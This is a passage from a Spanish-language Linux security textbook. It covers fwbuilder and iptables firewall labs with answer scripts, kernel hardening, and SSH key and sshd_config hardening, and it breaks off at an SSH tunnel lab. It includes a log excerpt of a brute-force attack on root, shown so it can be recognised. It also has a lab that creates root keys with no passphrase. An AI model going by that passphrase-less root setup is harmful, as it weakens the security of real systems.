El rea de administracin de fwbuilder se encuentra dividida en 4 areas:
Esta es el rea donde el usuario crear los servidores o
Configuracin de equipos pertenecientes a su red, la red a proteger, el
firewall, y todas aquellas confguraciones propias del
usuario
sistema a implementar.
Configuracin del Contiene informacin de todos los servicios standards
sistema
provistos por el sistema
Clasificacin de Clasifica todos los objetos en funcin del tipo de
objetos
objeto, red, host, firewall, servicio, etc.
Dentro de cada clase o tipo de objeto, muestra las
Objetos
instancias de esa clase. Por ejemplo dentro de la clase
hosts se encuentra el servidor fw.lacositarica.com
La primera tarea a realizar es la creacin de aquellos servidores o redes que sean necesarios para
nuestra configuracin. Para ello iremos a Tools -> Discover Objects y crearemos los objetos necesarios para
nuestra red. La informacin para crear los objetos puede ser obtenida de

El archivo /etc/hosts
Servidor DNS
SNMP

En la seccin hosts deben figurar todos aquellos servidores o computadores que son importantes
para el funcionamiento de nuestra red, como ser servidores de correo, ftp, web, etc. Creados los servidores
o hosts, crearemos la red a proteger, para ello iremos a Insert -> Network e indicaremos la direccin IP de
nuestra red.
Una vez creados todos los elementos necesarios para nuestra red agregaremos el Firewall (Insert > Firewall) y nos solicitar la siguiente informacin

365

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

Figura 5
La informacin necesaria para configurar el Firewall es:

Nombre del firewall (ols311)


Sistema Operativo del servidores (linux 2.4)
Software de Firewall (iptables)
Interfaz de salida (direccin IP fija o dinmica)

A continuacin agregaremos en la seccin Interfaces aquellas interfaces que tienen conexin con
las redes externas. En el caso de utilizar ADSL o algn sistema que asigne IP dinamicamente, indicaremos
en al creacin de la interfaz que la IP sera dinamica y el nombre de la interfaz deber ser el de la interfaz de
salida. En este caso hemos colocado WAN, pero debera ser la interfaz de salida del sistema eth0, eth1, etc.

Figura 6
Una vez creada la interfaz de salida del sistema, podremos crear la regla de proteccin de firewall.
Para ello iremos a Rules -> Help me build firewall policy . All no solicitar la siguiente informacin en el
siguiente orden:
7. Proteccin del sistema:
localhost
Red interna
Red interna y DMZ
8. Seleccin de la interfaz de salida
9. Seleccin de reglas antispoofing y configuracin NAT

366

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

10. En el caso de habilitar NAT seleccionar la red a proteger


11. Finalizar
Una vez finalizado el Wizard de creacin de firewall, salvaremos el archivo de configuracin con el
nombre fw.xml en el directorio /etc/firewall. De esta forma cada vez que debamos modificar la
configuracin del firewall deberemos abrir el archivo /etc/firewall/fw.xml . La creacin del firewall creara 2
objetos dentro del firewall, Policies y NAT. Dentro del objeto Policies especificaremos aquellos servicios
que el servidor brindara a los usuarios y dentro de NAT se especifica la poltica de enmascaramiento y NAT
director e inverso. Ahora veremos la configuracin de politicas dentro del firewall.

Figura 7
Cada regla esta indicada por un numero (Num) en la cual se pueden configurar las siguientes
utilidades:
Source
Destination
Service
Action
Options
Comment

Direccin IP de la red o los equipos que originan los paquetes


IP
Direccin IP de la red o los equipos a donde se dirigen los
paquetes IP
Servicio que verificara el firewall
Accin a ejecutar con la regla especificada
Opciones adicionales como logueo o registro de las
actividades
Descripcin de la regla utilizada

Para configurar los objetos especificados en las reglas, seleccionaremos el objeto en el Clasificacin
de objetos haremos click con el botn derecho e iremos a Copy . Despues iremos a Policy dentro de
Firewall, ubicaremos la seccin sobre la cual deseamos pegar el objeto (por ejemplo para agregar la red lan
interna sobre la regla en el tag Source) click con el boton derecho y pegamos el objeto copiado. Una vez
pegado el objeto damos un click sobre el boton Apply y continuamos con la configuracin de la regla. En el
caso de especificar los servicios, los mismos se encuentran descritos en Configuracin del sistema y
simplemente deberemos pegarlos desde esa seccin. En el ejemplo de la Figura 7, estan permitidos todos los
servicios excepto ftp y http
En el caso de NAT la operatoria es la misma, solo que debemos tener en cuenta que la interfaz de
firewall (simbolizado con un servidor y un muro de ladrillos) debe aparecer en cada una de las reglas dado
que es nuestra interfaz hacia el mundo exterior.

Figura 8

367

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

En este caso no solo protegemos nuestra red interna del acceso del mundo exterior, sino que
tambin redireccionamos el correo recibido a nuestro servidor de correo interno

18.0

Resumen por el Ing Federico Gacharna, email: fgacharna@tutopia.com

Un firewall puede ser un dispositivo fsico o un software corriendo en un sistema operativo. En general, una
caja con dos o mas interfaces de red, donde se fijan reglas de filtrado con las que se decide si una conexin
determinada puede establecerse o no.
Incluso puede ir ms all y realizar modificaciones sobre las comunicaciones, como el NAT
IPtables es un sistema de firewall vinculado al kernel de linux, no es un servicio que iniciamos o detenemos
o que se pueda caer por un error de programacin, iptables esta integrado con el kernel, es parte del
sistema operativo.
Lo que se hace es aplicar las normativas, mediante la ejecucin del comando iptables, con el que se aaden,
borran, o crean las mismas.
Por ello, un firewall de iptables no es sino un simple script de shell en el que se van ejecutando las reglas de
firewall.
Lo podemos hacer nosotros o es probable que venga en la distribucin (como en redhat por ejemplo).
Tambin se pueden salvar las reglas aplicadas con el comando iptables-save en un archivo y gestionar ese
archivo con una aplicacin o front-end desde la X o desde la web
Antes de las reglas de NAT se pueden aplicar reglas de tipo MANGLE, destinadas a modificar los paquetes;
aunque son reglas poco conocidas y no utilizadas frecuentemente vale la pena mencionarlas.
Por lo tanto tenemos tres tipos de reglas en iptables:
- MANGLE
- NAT: reglas PREROUTING, POSTROUTING
- FILTER: reglas INPUT, OUTPUT, FORWARD
* EJEMPLO DE REGLA MANGLE USADAS CUANDO NO PUEDO NAVEGAR EN ALGUNOS SITIOS CUANDO USO
PPPoE.:
Usar /ip firewall mangle para cambiar el valor MSS (maximum segment size) a un valor menos de 40 bytes
que su coneccin MTU. Por ejemplo, si el enlace PPPoe esta encriptado con MTU=1492, configurar la regla
mangle asi:
/ ip firewall mangle
add chain=forward protocol=tcp tcp-flags=syn action=change-mss new-mss=1448

* IMPORTANTE
El orden en el que se ponen las reglas de firewall es determinante. Normalmente cuando hay que decidir que
se hace con un paquete se va comparando con cada regla del firewall hasta que se encuentra una que le
afecta (match), y se hace lo que dicte esta regla (aceptar o denegar); despus de eso NO SE MIRARN MS
REGLAS para ese paquete.
Cul es el peligro? Si ponemos reglas muy permisivas entre las primeras del firewall, puede que las
siguientes no se apliquen y no sirvan de nada.

368

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

19.0

Laboratorio:

Objetivo:
Una empresa dispone de una sede donde sus empleados trabajan utilizando computadores que tienen acceso
a Internet. Por otra parte, esta empresa dispone de dos servidores localizados en un data center.
Un servidor web que ofrece tambin servicio web seguro y DNS
Un servidor de correo. El esquema es el siguiente:

Servidor web

Servidor correo

Parte 1: Configuracin de los cortafuegos del lado de la red del cliente


Disee las reglas de configuracin del Cortafuegos 1 suponiendo que se trata de un PC con Linux que utiliza
Iptables. Los requisitos son los siguientes:

Las mquinas de la red interna pueden navegar por Internet (HTTP y HTTPS) sin ninguna limitacin
(no olvide que el DNS corre en el servidor web).
Las mquinas de la red interna solamente pueden enviar correo (SMTP) a travs del servidor de
correo de la organizacin.
Las mquinas de la red interna solamente pueden descargar correo (POP3 e IMAP) del servidor de
correo de la organizacin.
Desde el exterior no ha de ser posible establecer conexiones ni enviar ningn tipo de informacin a
las mquinas de la red interna.

Complete el siguiente script (Cortafuegos 1):


iptables F
iptables X
iptables t nat F
iptables t nat X
iptables P INPUT DROP

369

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

iptables P OUTPUT DROP


iptables P FORWARD DROP
iptables A INPUT i lo j ACCEPT
iptables A OUTPUT o lo j ACCEPT
iptables t nat A POSTROUTING s 192.168.100.0/24 j MASQUERADE
iptables A FORWARD m state --state ESTABLISHED,RELATED j ACCEPT
()
Respuesta:
Nota: En el laboratorio se ha configurado la interface eth0 como la IP 30.0.0.1 y la interface eth1 como
192.168.100.1, se supone que el firewall del hosting permite la administracin de los puertos 22 para
administrar el firewall, el 2280 para administrar el servicio ssh del servidor web y el 2225 para el servicio
ssh del servidor de correos
# Se da acceso total a la interface del lado de la red local
iptables -A INPUT
-i eth1 -j ACCEPT
iptables -A OUTPUT
-o eth1 -j ACCEPT
# Las mquinas de la red interna
iptables -A FORWARD -p udp
iptables -A FORWARD -p tcp
iptables -A FORWARD -p tcp

pueden navegar por Internet (HTTP y HTTPS) sin ninguna limitacin


-s 192.168.100.0/24 -d 30.1.1.1 --dport 53 -j ACCEPT
-s 192.168.100.0/24 --dport 80 -j ACCEPT
-s 192.168.100.0/24 --dport 443 -j ACCEPT

# Las mquinas de la red interna solamente pueden enviar correo (SMTP) a travs del servidor de correo de
la organizacin
iptables -A FORWARD -p tcp -s 192.168.100.0/24 -d 30.1.1.1 --dport 25 -j ACCEPT
# Las mquinas de la red interna solamente pueden descargar correo (POP3 e IMAP) del servidor de correo
de la organizacin
iptables -A FORWARD -p tcp -s 192.168.100.0/24 -d 30.1.1.1 --dport 110 -j ACCEPT
iptables -A FORWARD -p tcp -s 192.168.100.0/24 -d 30.1.1.1 --dport 143 -j ACCEPT
# Esto autoriza la administracin remota desde la
que se encuentran en el proveedor hosting
iptables -A FORWARD -p tcp -s 192.168.100.0/24
iptables -A FORWARD -p tcp -s 192.168.100.0/24
iptables -A FORWARD -p tcp -s 192.168.100.0/24

red local del firewall 2 y de los servidores de correo y web


-d 30.1.1.1 --dport 22
-j ACCEPT
-d 30.1.1.1 --dport 2280 -j ACCEPT
-d 30.1.1.1 --dport 2225 -j ACCEPT

Parte 2: Disee las reglas de configuracin del Cortafuegos 2 suponiendo que se trata de un PC con Linux
que utiliza Iptables. Los requisitos son los siguientes:

El servidor web puede ofrecer servicio web (HTTP y HTTPS) a todo Internet.
El servidor de correo puede recibir y enviar correo (SMTP) desde y hacia todo Internet.
Al servidor de correo solamente se le puede descargar correo (POP3 e IMAP) desde las mquinas de
la red de la organizacin.
El Cortafuegos 2, el servidor de correo y el servidor web se pueden administrar remotamente
mediante SSH desde mquinas de la red de la organizacin.
Para proteger los servidores contra ataques de Syn-Flooding, limitaremos las peticiones de conexin
dirigidas hacia cada uno de los servidores a 2 por segundo.

Respuesta:
# Firewall 2: Servidores
# Limpio las cadenas para iniciar el firewall 2
iptables -F

370

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

iptables -X
iptables -t nat -F
iptables -t nat -X
# Creo las Polticas por defecto
iptables -P INPUT
DROP
iptables -P OUTPUT
DROP
iptables -P FORWARD
DROP
# Permito todo trfico sobre loopback de la consola del servidor
iptables -A INPUT
-i lo -j ACCEPT
iptables -A OUTPUT
-o lo -j ACCEPT
# Permito que los servidores salgan a internet con el IP valido del firewall 2
iptables -t nat -A POSTROUTING -s 20.0.0.0/8 -o eth0 -j MASQUERADE
iptables -A FORWARD -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
# Permito el trfico del gateway de la LAN as como lo hice con la lo, esto permite ping para evaluar la
conectividad interna
iptables -A INPUT
-i eth1 -j ACCEPT
iptables -A OUTPUT
-o eth1 -j ACCEPT
# El servidor web puede ofrecer servicio web (HTTP y HTTPS) a todo Internet
# NAT inverso DNS
iptables -t nat -A PREROUTING -p udp -d 30.1.1.1 --dport 53 -j DNAT to
20.0.0.2:53
# NAT inverso WEB
iptables -t nat -A PREROUTING -p tcp -d 30.1.1.1 --dport 80 -j DNAT --to 20.0.0.2:80
# NAT inverso WEB SEGURO
iptables -t nat -A PREROUTING -p tcp -d 30.1.1.1 --dport 443 -j DNAT --to 20.0.0.2:443
# El servidor de correo puede recibir y enviar correo (SMTP) desde y hacia todo Internet
# NAT inverso Correo SMTP
iptables -t nat -A PREROUTING -p tcp -d 30.1.1.1 --dport 25 -j DNAT --to 20.0.0.3:25
# Al servidor de correo solamente se le puede descargar correo (POP3 e IMAP) desde las mquinas de la red
de la organizacin
# NAT inverso Correo POP3
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 110 -j DNAT --to 20.0.0.3:110
# NAT inverso Correo IMAP
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 143 -j DNAT --to 20.0.0.3:143
# El Cortafuegos 2, el servidor de correo y el servidor web se pueden administrar remotamente mediante
SSH desde mquinas de la red de la organizacin
# NAT inverso SSH para admon web
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 2280 -j DNAT --to 20.0.0.2:22
# NAT inverso SSH para admon mail
iptables -t nat -A PREROUTING -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 2225 -j DNAT --to 20.0.0.3:22
# Para admon remota de SSH del firewall
iptables -A INPUT -p tcp -s 30.0.0.1 -d 30.1.1.1 --dport 22 -j ACCEPT
iptables -A OUTPUT -p tcp -s 30.1.1.1 -d 30.0.0.1 --sport 22 -j ACCEPT
# Para proteger los servidores contra ataques de Syn-Flooding, limitaremos las peticiones de conexin
dirigidas hacia cada uno de los servidores a 2 por segundo.
# Proteccion contra Syn-Flooding a 2 por segundo
iptables -A INPUT -p tcp --syn -m limit --limit 2/s -j ACCEPT

20.0

Hardening al kernel del firewall

#---------------------------------------------------------# Habilita Proteccion contra broadcast ok


#---------------------------------------------------------echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcast

371

Parte II, Captulo 14 Asegurando el perimetro de red - Firewalls

#---------------------------------------------------------# Deshabilita enrutamiento fuente


#---------------------------------------------------------for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
echo 0 > $f
done
#---------------------------------------------------------# Habilita Proteccion contra TCP SYN Cookies
#---------------------------------------------------------echo 1 > /proc/sys/net/ipv4/tcp_syncookies
#---------------------------------------------------------# Deshabilita ICMP redirect
#---------------------------------------------------------for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
echo 0 > $f
done
#---------------------------------------------------------# No envia mensajes de redireccion
#---------------------------------------------------------for f in /proc/sys/net/ipv4/conf/*/send_redirects; do
echo 0 > $f
done
#---------------------------------------------------------# Log de paquetes con imposible direccionamiento
#---------------------------------------------------------for f in /proc/sys/net/ipv4/conf/*/log_martians; do
echo 1 > $f
done
#-------------------# Habilita enrutamiento
#-------------------echo 1 > /proc/sys/net/ipv4/ip_forward
#-------------------# Habilita IP Dinamico
#-------------------echo 1 > /proc/sys/net/ipv4/ip_dynaddr

372

PARTE III
INSEGURIDAD EN SISTEMAS
OPERATIVOS

373

Captulo 15
Cifrando servicios de red con SSH

1.0

SSH

SSH indica Secure Shell, es un programa que permite ejecutar comandos, hacer sesin remota y mover
archivos hacia mquinas remotas de forma segura, para esto provee fuerte autenticacin y encriptacin
sobre los canales de transmisin inseguros entre el cliente y el servidor.
Es el reemplazo de los comandos rlogin, rsh y rcp, adicionalmente provee conexiones X window seguras.
Los tradicionales comandos rcomo rlogin, rcp, rsh son vulnerables a diferentes clases de ataques.

SSH


Los tradicionales comandos r como rlogin,


rcp, rsh son vulnerables a diferentes clases
de ataques.
Si alguien registra el trfico que entra y
sale de sus servidores descubrir las
contraseas de cualquier usuario

Es posible que alguien registre todo el trfico que entra y sale de sus servidores para descubrir las
contraseas de cualquier usuario. SSH encripta el canal y permite conexiones seguras transparentes al
usuario.

374

Parte III, Captulo 16 Cifrando servicios de red SSH

2.0

Que problemas resuelve

SSH nos protege de ataques como Ip spoofing, Ip Source Routing y DNS Spoofing, SSH no confa en la red,
si un intruso tomo el control de la red solo podra forzar a ssh a desconectarse pero no podra desencriptar
la informacin sin embargo si el atacante ha ganado el acceso al usuario root puede derribar a ssh tambin.
Todas las conexiones son encriptadas usando el algoritmo IDEA, mientras que las llaves de encripcin son
intercambiadas usando RSA y DSA los datos usados en el intercambio son destruidos de forma peridica (
las llaves no estn a salvo en ninguna parte ). Cada host tiene una llave RSA ( privada ) la cual es usada
para autenticar el host.
La versin de Openssh puede ser distribuida libremente segn GNU pero la versin de ssh sobre MS
Windows es un producto comercial el cual requiere de una licencia.
En algunos pases, particularmente Francia, Rusia, Iraq y Pakistan, puede ser ilegal usar cualquier clase de
encripcin.
Si reside en EEUU, debe estar enterado que mientras ssh fue escrito fuera de los Estados Unidos, usando
informacin pblica disponible para todo el mundo, el gobierno de este pas considero una gran ofensa
exportar este software desde U.S una vez haba sido importado, incluyendo ponerlo en un sitio FTP.
Los algoritmos RSA e IDEA, los cuales son usados por ssh, son patentados en diferentes pases, incluyendo
U.S, necesitando obtener licencias para uso comercial.
Respecto a la administracin de SSH el problema central radica en el manejo de las llaves, para permitirle a
un cliente conectarse a un host remoto con autenticacin RSA, el servidor necesita conocer la llave pblica
del cliente.
Cuando el cliente se conecta por primera vez entonces se establece una conexin segura de ese cliente con
ese servidor y el Digital finger Print no se encontrar dentro del anillo de known-hosts del cliente, en ese
momento el servidor sshd notifica que la autentificacin no puede ser establecida pues el cliente no es
conocido. A continuacin se le pide al cliente la autorizacin para negociarla en forma automtica, es decir
el cliente traer la llave pblica y la insertar en el anillo.
SSH establece conexiones seguras evitando de esta manera la vulnerabilidad de otros servicios como el
telnet, rlogin, rsh y ftp.
SSH usa el binario sshd como demonio para atender requerimientos de clientes, el puerto por donde se
presta el servicio es el 22 y por lo tanto es importante inhabilitar servicios que no se deberan utilizar como
el telnet que trabaja en el puerto 23, esto puede hacerse a travs del archivo de configuracin
/etc/xinetd.d/telnet poniendo la palabra yes frente a la variable disable y reiniciando el demonio inetd.

# /etc/init.d/xinet restart
SSH en Linux
Si desea saber que versin de SSH est instalada actualmente en su sistema, corra el comando: # ssh V.

Las ltimas versiones puede obtenerlas directamente de www.openssh.com.

3.0

Generacin de llaves

La llave privada y la pblica residirn en el directorio $home/.ssh.


Se recomiendan los siguientes permisos para no permitir la escritura al grupo y otros usuarios del sistema:
# chmod 755 ./ssh

375

Parte III, Captulo 16 Cifrando servicios de red SSH

Generacin de llaves




El comando para generar las llaves es:


# ssh-keygen
Al ejecutarse, pedir informacin necesaria
para la configuracin como el directorio
donde quedarn las llaves
Pedir la contrasea para generar la clave
de tipo oracin

Para las versiones 3.0.1 o mayores la llave privada de tipo DSA residir en el archivo $home/.ssh/id_dsa y la
pblica en $home/.ssh/id_dsa.pub.
Para las llaves de tipo RSA residir en el archivo $home/.ssh/id_rsa y la pblica en $home/.ssh/id_rsa.pub.
El comando para generar las llaves es:
# ssh-keygen, sin parmetros esto genera un par de llaves de tipo rsa.
# ssh-keygen t rsa, para el sistema de llaves pblicas RSA
# ssh-keygen t dsa, para el sistema de llaves pblicas DSA
Al ejecutarse, pedir informacin necesaria para la configuracin como el directorio donde quedarn las
llaves y la contrasea para generar la clave de tipo oracin.

Importante:
Nunca cambie el nombre de los archivos de las llaves

376

Parte III, Captulo 16 Cifrando servicios de red SSH

4.0

Comandos

Conexin a un servidor dado con el usuario actual:


# ssh intrarred.net
Conexin a un servidor con un usuario especfico:
# ssh l acarvaja intrared.net

Conexin en modo caractr








Conexin a un servidor dado con el usuario actual:


# ssh intrarred.net
Conexin a un servidor con un usuario especfico:
# ssh l acarvaja intrared.net
En ambos casos las contraseas correspondientes
son solicitadas.

En ambos casos las contraseas correspondientes son solicitadas.

Conexin desde modo grfico:


# ssh e ssh host

Transferencia de archivos a un servidor remoto:


# scp archivo.doc ibm:/home/pepe
Este comando copiar el archivo.doc al servidor ibm en el directorio /home/pepe.
# ssh-keyscan permite buscar hosts y adicionarlos al anillo de confianza esta herramienta puede obtenerse
de ftp://cag.lcs.mit.edu/pub/dm ftp://ftp.cs.hut.fi/ssh/contrib.
Tambin existe un script que permite chequear nuevas llaves y advertir sobre hosts que han cambiado sus
llaves lo que puede ser un indicio de que hay un intruso, este script puede obtenerse de
www.uni.karlsrure.de/~ig25/ssh-faq/comp-host-list.

5.0

Archivos de configuracin

Servidor:
Para las versiones anteriores a la 3.0.1 el servicio se debe arrancar con el comando sshd y leer el archivo
de configuracin /etc/ssh/sshd_config.

377

Parte III, Captulo 16 Cifrando servicios de red SSH

Archivos de configuracin





En el Servidor:
El servicio se debe arrancar con el comando
sshd
SSHD leer el archivo de configuracin
/etc/ssh/sshd_config
Cuando se instala manualmente buscara
/usr/local/etc/ssh/sshd_config

Un comando genrico para subir el servicio es:


# /etc/init.d/sshd start
Un comando genrico para bajar el servicio es:
# /etc/init.d/sshd stop

Nota: Se recomiendan
/etc/ssh/sshd_config

las

Port
Protocol
GSSAPICleanupCredentials
UsePAM
PasswordAuthentication
ChallengeResponseAutehtication
GSSAPIAuthentication
X11Forwarding
UseDNS

siguientes

variables

en

el

archivo

de

configuracin

del

servidor

22
2
yes
Yes
yes
no
yes
yes
no

Para mayor seguridad:


PermitRootLogin no
PermitEmptyPasswords no
Banner /etc/issue
IgnoreRhosts yes
RhostsAuthentication no
RhostsRSAAuthentication no
HostbasedAuthentication no
LoginGraceTime 1m
(O menos, el defecto es 2 minutos)
SyslogFacility AUTH
(logging con el detalle AUTH)
AllowUsers [lista de usuarios autorizados]
DenyUsers [lista de usuarios no autorizados]
MaxStartups 10 (O menos use 1/3 del total de usuarios remotos)
Nota: MaxStartups se refiere al maximo nmero de conexiones simultneas que an estan por verificar la
autenticacin. Esto ayuda a contrarestar ataques por fuerza bruta.

Cliente:
Los comandos de clientes leern el archivo de configuracin /etc/ssh/ssh_config.

378

Parte III, Captulo 16 Cifrando servicios de red SSH

Archivos de configuracin







En el cliente:
Guarda registros individuales de las llaves
publicas de los hosts a los que podemos
acceder
$home/.ssh/know_hosts son las llaves
publicas de esos servidores
SSH
cliente
leer
el
archivo
de
configuracin /etc/ssh/ssh_config
$home/.ssh/authorized_ keys son las llaves
publicas por usuario de esos servidores.

Existen archivos que se crean de manera automtica a medida que el servicio los requiere, tal es el caso de
known_hosts, este archivo guarda en registros individuales las llaves de los hosts a los que podemos acceder
y $home/.ssh/authorized_ keys son las llaves pblicas por usuario de esos servidores.
Por ejemplo para adicionar una llave pblica del archivo id_dsa digite:
# cat id_dsa.pub >> authorized_keys

6.0

Notas de seguridad

6.1 No pedir password cada vez que se inicia sesin:

Para que ssh no solicite el password al usuario se debe adicionar la llave pblica $home/.ssh/id_rsa.pub o la
$home/.ssh/id_dsa.pub del usuario remoto (o el nombre de llave que se le haya asignado) en el servidor
remoto al final del archivo $home/.ssh/authorized_keys.
# cat id_dsa.pub >> authorized_keys
Nota: Nunca cambie el nombre id_rsa.pub, si lo hace pedir password.

6.2 nicamente permitir el acceso a usuarios diferentes a root:


Para que ssh solo permita el acceso a los usuarios acarvaja, Juana y pepe pero no el usuario root debe editar
el archivo /etc/ssh/sshd_config y listar nicamente los usuarios permitidos:
AllowUsers acarvaja Juana pepe
PermitRootLogin No
Luego el usuario podra cambiarse al usuario root con el comando su y as obtener permisos de
administrador.
No olvide reiniciar el servicio con /etc/init.d/sshd restart
Esto es altamente recomendable en un firewall o mejor aun deshabilitar el servicio SSH.
Esta es una muestra de parte del archivo de logs /var/log/messages de un ataque por fuerza bruta a nuestro
servidor ssh:
Oct 26 21:34:06 server1 sshd[17200]: User root from host.gamerwithin.com not allowed because not listed
in AllowUsers

379

Parte III, Captulo 16 Cifrando servicios de red SSH

Oct 26 21:34:06
ssh2
Oct 26 21:34:07
in AllowUsers
Oct 26 21:34:07
ssh2
Oct 26 21:34:08
AllowUsers
Oct 26 21:34:08
59203 ssh2
Oct 26 21:34:09
in AllowUsers
Oct 26 21:34:09
ssh2
Oct 26 21:34:10
in AllowUsers
Oct 26 21:34:11
ssh2
Oct 26 21:34:12
in AllowUsers
Oct 26 21:34:12
AllowUsers
Oct 26 21:34:12
ssh2
Oct 26 21:34:12
59864 ssh2
Oct 26 21:34:14
in AllowUsers
Oct 26 21:34:14
ssh2
Oct 26 21:34:15
in AllowUsers
Oct 26 21:34:15
ssh2
Oct 26 21:34:16
AllowUsers
Oct 26 21:34:16
60271 ssh2
Oct 26 21:34:17
in AllowUsers

server1 sshd[17200]: Failed password for invalid user root from 209.59.161.30 port 37955
server1 sshd[17204]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17204]: Failed password for invalid user root from 209.59.161.30 port 38042
server1 sshd[17202]: User root from 202.168.249.106 not allowed because not listed in
server1 sshd[17202]: Failed password for invalid user root from 202.168.249.106 port
server1 sshd[17206]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17206]: Failed password for invalid user root from 209.59.161.30 port 38125
server1 sshd[17209]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17209]: Failed password for invalid user root from 209.59.161.30 port 38209
server1 sshd[17213]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17210]: User root from 202.168.249.106 not allowed because not listed in
server1 sshd[17213]: Failed password for invalid user root from 209.59.161.30 port 38284
server1 sshd[17210]: Failed password for invalid user root from 202.168.249.106 port
server1 sshd[17215]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17215]: Failed password for invalid user root from 209.59.161.30 port 38370
server1 sshd[17219]: User root from host.gamerwithin.com not allowed because not listed
server1 sshd[17219]: Failed password for invalid user root from 209.59.161.30 port 38443
server1 sshd[17217]: User root from 202.168.249.106 not allowed because not listed in
server1 sshd[17217]: Failed password for invalid user root from 202.168.249.106 port
server1 sshd[17221]: User root from host.gamerwithin.com not allowed because not listed

380

Parte III, Captulo 16 Cifrando servicios de red SSH

6.3 Enjaulado de usuarios


Los pasos son los siguientes:

Debemos tener una carpeta para enjaular los usuarios por ejemplo /chroot o /home
El dueo de la carpeta debe ser el usuario root y los permisos 755
Se debe crear un grupo especial para enjaular los usuarios especiales que harn ftp seguro, por
ejemplo el grupo sftp
En esta carpeta /chroot debe residir una subcarpeta por cada usuario, por ejemplo para el usuario
juan existir la carpeta /chroot/juan
El dueo de la carpeta debe ser el usuario creado en Linux y el grupo debe ser sftp con permisos
700 en cada carpeta de cada usuario
El permiso 700 no le permite a los usuarios mirar el contenido de la carpeta de otros usuarios
Es clave que esos usuarios pertenezcan a un grupo especial como el mencionado sftp
No es necesario cambiar el Shell /bin/ksh de los usuarios
La versin de openssh debe ser como mnimo 4.8
El comando rpm para consultarlo es rpm q openssh
Edite el archivo sshd_config y adicione al final las siguientes lneas:

Subsystem
sftp
internal-sftp
Match Group sftp
ChrootDirectory /chroot
X11Forwarding yes
AllowTcpForwarding yes
ForceCommand internal-sftp
Nota: se debe verificar que la instruccin Subsystem no este registrada dos veces
Reinicie el servicio
Pruebe copiar archivos
Nota: Esos usuarios no podrn hacer sesiones remotas solo podrn hacer transferencias de archivos

381

Parte III, Captulo 16 Cifrando servicios de red SSH

7.0
Laboratorio: Autenticacin de usuarios confiables entre maquinas con certificado digital en cambio
de IP, Usuario y clave
Objetivo:

Se deben crear los certificados en ambas maquinas para el usuario root o


Se debe adicionar la llave pblicada de cada maquina del respectivo usuario en el archivo
authorized_keys

Prerrequisitos:

Se deben tener como mnimo 2 PCs: Uno con el IP 192.168.100.55 y el otro con el IP
192.168.100.112
En cada PC se debe editar el archivo /etc/hosts y se debe adicionar la IP y el nombre de cada
maquina

Paso 1:
La llave pblica se debe generar cuando esta no exista o cuando el IP, La direccin MAC o el nombre de la
maquina se haya cambiado.
Entre al primer servidor con el usuario root y posicinese en el directorio /root/.ssh
# ssh-keygen t rsa
Este comando generar llaves pblicas segn el mtodo RSA
Al ejecutarse, pedir informacin necesaria para la configuracin como el directorio donde quedarn las
llaves y la contrasea para generar la clave, No digite contrasea.
Notas:

Revise que la llave quede en el directorio /root/.ssh/id_rsa.pub


Nunca cambie el nombre id_rsa.pub, si lo hace ssh pedir password

Paso 2:
La llave pblica se debe generar cuando esta no exista o cuando el IP, La direccin, MAC o el nombre de la
maquina se haya cambiado.
Entre al segundo servidor con el usuario root y y posicinese en el directorio /root/.ssh
# ssh-keygen t rsa
Este comando generar llaves pblicas segn el mtodo RSA
Al ejecutarse, pedir informacin necesaria para la configuracin como el directorio donde quedarn las
llaves y la contrasea para generar la clave, No digite contrasea.

Notas:

Revise que la llave quede en el directorio /root/.ssh/id_rsa.pub


Nunca cambie el nombre id_rsa.pub, si lo hace ssh pedir password.

Paso 3:
Para que ssh no solicite el password al usuario root de este caso se debe adicionar la llave pblica
/root/.ssh/id_rsa.pub del usuario remoto en el servidor local al final del archivo /root/.ssh/authorized_keys.
Entre al primer servidor con el usuario root
Vaya a la carpeta /root/.ssh
# cd /root/.ssh

382

Parte III, Captulo 16 Cifrando servicios de red SSH

Copie la llave pblica id_rsa.pub del segundo PC en el primer PC con otro nombre para no destruir la llave
del PC donde estoy posicionado.
# scp IP_del_segundo_PC:/root/.ssh/id_rsa.pub id_rsa.pub.segundopc
Observe el nombre de la llave pblica del primr nodo en el directorio donde estoy posicionado
Nota: Revise que existan dos archivos llamados id_rsa.pub para la llave pblica del primer PC y el archivo
id_rsa.pub.segundopc que identifica la llave pblica del segundo PC.
Adicione la llave pblica del segundo PC al primer PC:
# cat id_rsa.pub.segundopc >> authorized_keys

Paso 4:
Entre al segundo PC con el usuario root
Vaya a la carpeta /root/.ssh
# cd /root/.ssh
Copie la llave pblica id_rsa.pub del primer PC en el segundo PC con otro nombre para no destruir la llave
del PC donde estoy posicionado.
# scp IP_del_primer_PC:/root/.ssh/id_rsa.pub id_rsa.pub.primerpc

Observe el punto final que indica copiarlo en el directorio donde estoy posicionado
Nota: Revise que existan dos archivos llamados id_rsa.pub para la llave pblica del segundo PC y el archivo
id_rsa.pub.primerpc que identifica la llave pblica del primer PC.
Adicione la llave pblica del primer PC al segundo PC:
# cat id_rsa.pub.primerpc >> authorized_keys

Paso 5:
Entre a cada PC y reinicie el servicio ssh con el comando:
# /etc/init.d/ssh restart
En Unixware:
# /etc/rc2.d/S98opensshd restart

Paso 6:
Prueba el comando ssh ip_del_pc y revise que no se pida password pero la primera vez le pedir que digite
yes para crear el archivo know_hosts.

383

Parte III, Captulo 16 Cifrando servicios de red SSH

8.0

Laboratorio: Tneles con SSH

Objetivo:
Se debe crear un tnel entre dos mquinas de tal manera que la mquina 1 redirija las conexiones que le
